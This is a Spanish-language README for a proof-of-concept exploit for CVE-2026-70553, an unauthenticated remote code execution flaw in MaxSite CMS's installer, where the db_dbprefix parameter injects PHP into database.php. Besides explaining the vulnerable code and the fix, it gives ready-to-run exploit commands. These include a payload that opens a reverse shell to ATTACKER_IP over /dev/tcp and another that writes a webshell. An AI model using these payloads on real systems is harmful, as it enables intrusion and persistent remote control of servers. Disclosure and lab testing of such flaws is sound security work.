
Exploit de prueba de concepto para CVE-2026-70553, que permite RCE no autenticado en MaxSite CMS mediante inyección persistente de PHP en database.php a través del endpoint de instalación.
Prueba de concepto para CVE-2026-70553: Ejecución remota de código no autenticada en MaxSite CMS mediante inyección persistente de código PHP en database.php a través del endpoint de instalación.
Este PoC es solo para fines educativos y de investigación de seguridad autorizada. El autor no es responsable de ningún uso indebido o daño causado por este código. Pruebe únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito.
Las versiones 105.2 a 109.5 de MaxSite CMS contienen una vulnerabilidad crítica de ejecución remota de código no autenticada en el endpoint de instalación. El parámetro db_dbprefix se concatena directamente en código PHP sin saneamiento, lo que permite a los atacantes inyectar sentencias PHP arbitrarias en . Dado que este archivo se incluye en cada petición, el código inyectado logra una RCE persistente.
application/config/database.phpEn install/installer/functions.php, la función newDatabase() construye el contenido de database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
Al inyectar una carga útil como:
db_dbprefix=mso_'; system('id'); //
El database.php generado se convierte en:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Esto rompe el literal de cadena e inyecta código PHP arbitrario.
La corrección añadió una verificación para evitar la reinstalación:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd Código PHP a inyectar (por defecto: prueba de escritura de archivo)
--check-only Solo comprobar si el endpoint de instalación es accesible
--db-host Hostname de la base de datos (por defecto: localhost)
--db-user Usuario de la base de datos (por defecto: test)
--db-pass Contraseña de la base de datos (por defecto: test)
--db-name Nombre de la base de datos (por defecto: test)
CRÍTICO: esta vulnerabilidad tiene graves limitaciones prácticas en escenarios del mundo real.
/install/ no se haya eliminado)newDatabase() solo se llama si las tablas no existeninstall/installer/post.php mediante checkTableExists()newDatabase() nunca se llama/install/ es accesible, la ruta de código hacia la inyección está bloqueada por la comprobación de existencia de tablasPara verificar esta vulnerabilidad en un entorno controlado:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Este proyecto se publica bajo la Licencia MIT. Consulte LICENSE para más detalles.
Recuerde: Practique siempre la divulgación responsable y obtenga la autorización adecuada antes de realizar pruebas.